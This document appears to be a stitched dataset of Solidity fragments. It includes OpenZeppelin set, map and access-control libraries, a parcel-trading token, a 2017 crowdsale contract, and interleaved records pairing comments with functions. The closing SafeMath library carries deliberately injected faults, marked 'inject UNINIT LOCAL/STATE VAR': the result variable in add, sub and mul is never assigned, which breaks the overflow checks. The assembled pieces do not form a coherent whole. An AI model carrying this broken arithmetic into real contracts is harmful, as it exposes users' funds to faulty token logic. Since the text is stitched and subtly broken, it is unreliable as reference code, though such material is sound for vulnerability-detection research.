if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
|
Toggle auto-start on or off/
|
function autoPayoutOn(bool _autoPayout) external payable {
require(msg.sender == delegate || msg.sender == owner());
autoPayout = _autoPayout;
}
| 1,384,348
|
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./full_match/1/0x2e0a081C4a229FDC3c80Bd98048f148985A3D9B8/sources/contracts/token.sol
|
disable Transfer delay - cannot be reenabled
|
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
| 8,490,984
|
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//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Harbergia is ERC20 {
address contract_owner;
uint map_size;
address default_parcel_owner;
uint default_parcel_price;
string default_parcel_color;
mapping(uint => address) owners;
mapping(uint => uint) prices;
mapping(uint => string) colors;
constructor() ERC20("Harbergia Decentralised Guilder", "HDG") {
map_size = 16*9*10;
default_parcel_owner = address(this);// by default Harbergia (so the contract itself) owns all the parcels
default_parcel_price = 0;
default_parcel_color = "000000";
contract_owner = msg.sender;
mint(1000000 * 10**super.decimals());
}
function mint(uint amount) public {
require(msg.sender == contract_owner, "Only contract owner is allowed to mint");
_mint(contract_owner, amount);
}
function getParcelInfo(uint parcelId) public view returns (address, uint, string memory) {
require(parcelId < map_size, "Inexisting Parcel");
if (owners[parcelId] != 0x0000000000000000000000000000000000000000) {
return (owners[parcelId], prices[parcelId], (bytes(colors[parcelId]).length == 0 ? default_parcel_color : colors[parcelId]));
}
return (default_parcel_owner, default_parcel_price, default_parcel_color);
}
function buyParcel(uint parcelId, uint price, uint reselling_price) external {
require(parcelId < map_size, "Inexisting Parcel");
require(price == prices[parcelId], "Parcel must be bought at current offering price");
require(balanceOf(msg.sender) >= price, "Balance of message sender must be higher than price");
if (owners[parcelId] != 0x0000000000000000000000000000000000000000) {
transfer(owners[parcelId], prices[parcelId]);
} else {
transfer(default_parcel_owner, default_parcel_price);
}
owners[parcelId] = msg.sender;
prices[parcelId] = reselling_price;
}
function setParcelColor(uint parcelId, string memory new_color) external {
require(parcelId < map_size, "Inexisting Parcel");
require(owners[parcelId] == msg.sender, "Only parcel owner can change color");
// TODO: check if this is a valid color
colors[parcelId] = new_color;
}
}
|
TODO: check if this is a valid color
|
function setParcelColor(uint parcelId, string memory new_color) external {
require(parcelId < map_size, "Inexisting Parcel");
require(owners[parcelId] == msg.sender, "Only parcel owner can change color");
colors[parcelId] = new_color;
}
| 6,382,683
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pragma solidity ^0.4.14;
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract Owned
{
address public owner;
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner()
{
if (msg.sender != owner) revert();
_;
}
}
contract ProspectorsCrowdsale is Owned, DSMath
{
ProspectorsGoldToken public token;
address public dev_multisig; //multisignature wallet to collect funds
uint public total_raised; //crowdsale total funds raised
uint public contributors_count = 0; //crowdsale total funds raised
uint public constant start_time = 1502377200; //crowdsale start time - August 10, 15:00 UTC
uint public constant end_time = 1505055600; //crowdsale end time - Septempber 10, 15:00 UTC
uint public constant bonus_amount = 10000000 * 10**18; //amount of tokens by bonus price
uint public constant start_amount = 60000000 * 10**18; //tokens amount allocated for crowdsale
uint public constant price = 0.0005 * 10**18; //standart token price in ETH
uint public constant bonus_price = 0.0004 * 10**18; //bonus token price in ETH
uint public constant goal = 2000 ether; //soft crowdsale cap. If not reached funds will be returned
bool private closed = false; //can be true after end_time or when all tokens sold
mapping(address => uint) funded; //needed to save amounts of ETH for refund
modifier in_time //allows send eth only when crowdsale is active
{
if (time() < start_time || time() > end_time) revert();
_;
}
function is_success() public constant returns (bool)
{
return closed == true && total_raised >= goal;
}
function time() public constant returns (uint)
{
return block.timestamp;
}
function my_token_balance() public constant returns (uint)
{
return token.balanceOf(this);
}
//tokens amount available by bonus price
function available_with_bonus() public constant returns (uint)
{
return my_token_balance() >= min_balance_for_bonus() ?
my_token_balance() - min_balance_for_bonus()
:
0;
}
function available_without_bonus() private constant returns (uint)
{
return min(my_token_balance(), min_balance_for_bonus());
}
function min_balance_for_bonus() private constant returns (uint)
{
return start_amount - bonus_amount;
}
//prevent send less than 0.01 ETH
modifier has_value
{
if (msg.value < 0.01 ether) revert();
_;
}
function init(address _token_address, address _dev_multisig) onlyOwner
{
if (address(0) != address(token)) revert();
token = ProspectorsGoldToken(_token_address);
dev_multisig = _dev_multisig;
}
//main contribute function
function participate() in_time has_value private {
if (my_token_balance() == 0 || closed == true) revert();
var remains = msg.value;
//calculate tokens amount by bonus price
var can_with_bonus = wdiv(cast(remains), cast(bonus_price));
var buy_amount = cast(min(can_with_bonus, available_with_bonus()));
remains = sub(remains, wmul(buy_amount, cast(bonus_price)));
if (buy_amount < can_with_bonus) //calculate tokens amount by standart price if tokens with bonus don't cover eth amount
{
var can_without_bonus = wdiv(cast(remains), cast(price));
var buy_without_bonus = cast(min(can_without_bonus, available_without_bonus()));
remains = sub(remains, wmul(buy_without_bonus, cast(price)));
buy_amount = hadd(buy_amount, buy_without_bonus);
}
if (remains > 0) revert();
total_raised = add(total_raised, msg.value);
if (funded[msg.sender] == 0) contributors_count++;
funded[msg.sender] = add(funded[msg.sender], msg.value);
token.transfer(msg.sender, buy_amount); //transfer tokens to participant
}
function refund() //allows get eth back if min goal not reached
{
if (total_raised >= goal || closed == false) revert();
var amount = funded[msg.sender];
if (amount > 0)
{
funded[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
function closeCrowdsale() //close crowdsale. this action unlocks refunds or token transfers
{
if (closed == false && time() > start_time && (time() > end_time || my_token_balance() == 0))
{
closed = true;
if (is_success())
{
token.unlock(); //unlock token transfers
if (my_token_balance() > 0)
{
token.transfer(0xb1, my_token_balance()); //move not saled tokens to game balance
}
}
}
else
{
revert();
}
}
function collect() //collect eth by devs if min goal reached
{
if (total_raised < goal) revert();
dev_multisig.transfer(this.balance);
}
function () payable external
{
participate();
}
//allows destroy this whithin 180 days after crowdsale ends
function destroy() onlyOwner
{
if (time() > end_time + 180 days)
{
selfdestruct(dev_multisig);
}
}
}
contract ProspectorsGoldToken {
function balanceOf( address who ) constant returns (uint value);
function transfer( address to, uint value) returns (bool ok);
function unlock() returns (bool ok);
}
|
transfer tokens to participant
|
token.transfer(msg.sender, buy_amount);
| 2,480,908
|
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./partial_match/1/0xe50424Df644BC6d7f623c3Dcf4B2C3F38e339063/sources/NftTransfer.sol
|
* @notice Returns true if the contract is a supported ERC20. @param _contract The address of the contract./
|
function coveredByDailyLimit(address _contract) internal view returns (bool) {
return tokenPriceRegistry.getTokenPrice(_contract) > 0;
}
| 9,321,126
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./full_match/1/0x74c8eED2b92dD0721D8ECA7513BcA38b6f1c045B/sources/contracts/PaperBagBoys.sol
|
===================================== Promotion =====================================/
|
function togglePromotion() external onlyOwner {
PROMOTION_ACTIVE = !PROMOTION_ACTIVE;
}
| 5,014,988
|
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/**
*Submitted for verification at Etherscan.io on 2020-08-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.10;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
